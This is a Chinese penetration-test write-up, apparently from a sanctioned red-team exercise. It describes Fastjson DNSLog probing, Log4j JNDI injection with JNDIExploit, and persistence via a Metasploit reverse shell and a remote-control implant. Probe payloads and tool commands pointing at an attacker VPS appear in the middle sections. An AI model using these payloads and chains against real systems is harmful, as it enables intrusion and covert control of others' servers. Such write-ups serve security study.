当前位置:首页 > 科技  > 软件

记一次攻防演练打点过程

来源: 责编: 时间:2023-10-10 18:30:40 360观看
导读前言在如今错综复杂的网络环境,还有各种防护设备的加持,漏洞利用可谓难上加难。这里简单记录下在一次攻防演练中从打点到权限维持的曲折过程。过程前期先从备案查询、子域名收集、端口扫描等方式获取资产URL。其次对URL

前言

在如今错综复杂的网络环境,还有各种防护设备的加持,漏洞利用可谓难上加难。这里简单记录下在一次攻防演练中从打点到权限维持的曲折过程。Iwr28资讯网——每日最新资讯28at.com

过程

前期先从备案查询、子域名收集、端口扫描等方式获取资产URL。其次对URL进行指纹识别,虽然发现了几个存在指纹的系统,但后续渗透发现漏洞已无法利用,漏洞已修。最后老实本分对其他Web系统进行渗透,寻找突破口。Iwr28资讯网——每日最新资讯28at.com

01 前后端分离架构

前后端分离的开发架构已然成为互联网项目开发的主流模式,通过nginx+tomcat(中间加Node.js)来进行解耦,是未来的大型分布式架构、弹性计算架构、微服务架构和多端化服务的基础。Iwr28资讯网——每日最新资讯28at.com

·前端:负责View和Controller层·后端:负责Model层,进行业务/数据处理Iwr28资讯网——每日最新资讯28at.com

JAVA 更适合做 Model 层、持久层的业务,引入Node.js可进行Controller层的处理。Node.js作为桥梁架接服务端API输出的JSON数据。Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

02 WebPack资源管理

WebPack本身作为一个资源管理和打包构建工作,其强大之处在于各种静态资源的依赖分析和预编译。经过WebPack编译后得到各种静态资源,通常生成dist文件夹,保存各种静态文件。其结构大致如下:Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

而app.js文件通常包含了各类前端路由或者后端API接口,是我们渗透前后端系统的突破口。当然不仅仅只是app.js中会存在。Iwr28资讯网——每日最新资讯28at.com

03 发现指纹Fastjson

使用burp插件,可自动从js中爬取前端路由或者后端API接口Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

当获取到后端API接口时,使用burp的Intruder模块对所有接口发送GET和POST请求,POST请求时可以构造json请求体发送。Iwr28资讯网——每日最新资讯28at.com

部分接口进行GET请求时,后端返回缺失某参数,此时可构造该参数并进行SQL注入等漏洞利用。Iwr28资讯网——每日最新资讯28at.com

此时从报错信息中发现某个接口使用Fastjson组件Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

于是利用DNS探测判断Fastjson版本Iwr28资讯网——每日最新资讯28at.com

Fastjson < 1.2.43Iwr28资讯网——每日最新资讯28at.com

{"@type":"java.URL","val":"http://dnslog"} {{"@type":"java.URL","val":"http://dnslog"}:"x"}

Fastjson < 1.2.48Iwr28资讯网——每日最新资讯28at.com

{"@type":"java.InetAddress","val":"dnslog"}

Fastjson < 1.2.68Iwr28资讯网——每日最新资讯28at.com

{"@type":"java.Inet6Address","val":"dnslog"}{{"@type":"java.URL","val":"dnslog"}:"aaa"}{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.URL", "val":"http://dnslog"}}""}{{"@type":"java.URL","val":"http://dnslog"}:0}

未发现DNSLog回显Iwr28资讯网——每日最新资讯28at.com

04 发现log4j漏洞

字段Content-Type存在dnslog回显,先试试dns协议进行dnslog探测Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

可探测java版本,1.8.0_171版本Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

使用ldap协议进行dnslog探测Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

可探测服务器类型,Linux系统Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

可进行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jarIwr28资讯网——每日最新资讯28at.com

查看使用方式命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

Iwr28资讯网——每日最新资讯28at.com

使用TomcatEcho链执行命令并回显命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip

Iwr28资讯网——每日最新资讯28at.com

发送cmd命令请求Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

成功执行命令并回显,root权限Iwr28资讯网——每日最新资讯28at.com

此时获取命令执行权限,如何进行权限维持?获取一个稳定的shellIwr28资讯网——每日最新资讯28at.com

05 权限维持

1)执行命令,直接反弹shellIwr28资讯网——每日最新资讯28at.com

2)执行命令,写入webshellIwr28资讯网——每日最新资讯28at.com

3)jndi注入工具支持打入内存马Iwr28资讯网——每日最新资讯28at.com

4)jndi注入工具1.4版本新增支持上线msfIwr28资讯网——每日最新资讯28at.com

第一种尝试:执行bash、sh命令反弹shell,存在ldap请求,但反弹命令未执行成功;Iwr28资讯网——每日最新资讯28at.com

第二种尝试:通过pwd、ls命令进行Web系统目录,发现服务由jar起的,写入webshell文件无法利用;Iwr28资讯网——每日最新资讯28at.com

第三种尝试:VPS收到打入内存马的ldap请求,但访问内存马路径时显示404;Iwr28资讯网——每日最新资讯28at.com

第四种尝试:使用tomcatBypass路由上线msf成功Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

msf开启监听,使用payload:java/meterpreter/reverse_tcpIwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

设置LHOST、LPORT,执行run开启监听Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

发送ldap请求,请求tomcatBypass路由,IP是VPS的IP,PORT是msf监听的端口Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

上线msf,得到稳定式shellIwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

得到shell,但无法进行直观目录浏览,而且shell是交互式shell,有没有更好的远控方式呢?Iwr28资讯网——每日最新资讯28at.com

06 上线远控

在本公众号前面发过的文章中提到一款远控平台,自带某厂商证书,为免杀工作省去大量功夫。但上线命令需要使用curl命令,然而该机器上并没有curl命令。Iwr28资讯网——每日最新资讯28at.com

没有curl,但有wget,可不可以使用wget替换curl,询问下chatgptIwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

答案是存在可替换的,但却达不到我们的效果Iwr28资讯网——每日最新资讯28at.com

于是安装curl命令,但yum、apt-get等命令也没有Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

很奇怪的一个系统,大概率是个阉割版的docker容器,先看下系统版本类型Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

cat /etc/os-release

Iwr28资讯网——每日最新资讯28at.com

这种系统内核,百度下Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

是个docker无疑了,询问chatgpt该内核的系统如何下载curlIwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

Apline Linux内核使用轻量级的apk包管理工具来管理软件包。执行一键安装命令,等待安装过程Iwr28资讯网——每日最新资讯28at.com

Iwr28资讯网——每日最新资讯28at.com

安装完成,接下来使用curl命令一键上线远控。Iwr28资讯网——每日最新资讯28at.com

总结

命令执行无法反弹shell或许是防护设备拦截所致。Iwr28资讯网——每日最新资讯28at.com

本文作者:极致攻防实验室, 转载请注明来自FreeBuf.COMIwr28资讯网——每日最新资讯28at.com

本文链接:http://www.28at.com/showinfo-26-12690-0.html记一次攻防演练打点过程

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。邮件:2376512515@qq.com

上一篇: 如何优雅的处理Java异常?

下一篇: caliburn.micro日志打印,app.xaml里面如何配置?

标签:
  • 热门焦点
  • 6月安卓手机性价比榜:Note 12 Turbo断层式碾压

    6月份有一个618,虽然这是京东周年庆的日子,但别的电商也都不约而同的跟进了,反正促销没坏处,厂商和用户都能满意。618期间一些产品也出现了历史低价,那么各个价位段的产品性价比
  • iPhone卖不动了!苹果股价创年内最大日跌幅:市值一夜蒸发万亿元

    8月5日消息,今天凌晨美股三大指数高开低走集体收跌,道指跌0.41%;纳指跌0.36%;标普500指数跌0.52%。热门科技股也都变化极大,其中苹果报181.99美元,跌4.8%,创
  • 印度登月最关键一步!月船三号今晚进入环月轨道

    8月5日消息,据印度官方消息,月船三号将于北京时间今晚21时30分左右开始近月制动进入环月轨道。这是该探测器能够成功的最关键步骤之一,如果成功将开始围
  • Rust中的高吞吐量流处理

    作者 | Noz编译 | 王瑞平本篇文章主要介绍了Rust中流处理的概念、方法和优化。作者不仅介绍了流处理的基本概念以及Rust中常用的流处理库,还使用这些库实现了一个流处理程序
  • Golang 中的 io 包详解:组合接口

    io.ReadWriter// ReadWriter is the interface that groups the basic Read and Write methods.type ReadWriter interface { Reader Writer}是对Reader和Writer接口的组合,
  • 虚拟键盘 API 的妙用

    你是否在遇到过这样的问题:移动设备上有一个固定元素,当激活虚拟键盘时,该元素被隐藏在了键盘下方?多年来,这一直是 Web 上的默认行为,在本文中,我们将探讨这个问题、为什么会发生
  • 每天一道面试题-CPU伪共享

    前言:了不起:又到了每天一到面试题的时候了!学弟,最近学习的怎么样啊 了不起学弟:最近学习的还不错,每天都在学习,每天都在进步! 了不起:那你最近学习的什么呢? 了不起学弟:最近在学习C
  • 当家的盒马,加速谋生

    来源 | 价值星球Planet作者 | 归去来自己&ldquo;当家&rdquo;的盒马,开始加速谋生了。据盒马官微消息,盒马计划今年开放生鲜供应链,将其生鲜商品送往食堂。目前,盒马在上海已经与
  • 微博大门常打开,迎接海外画师漂洋东渡

    作者:互联网那些事&ldquo;起猛了,我能看得懂日语了&rdquo;。&ldquo;为什么日本人说话我能听懂?&rdquo;&ldquo;中文不像中文,日语不像日语,但是我竟然看懂了&rdquo;&hellip;&hell
Top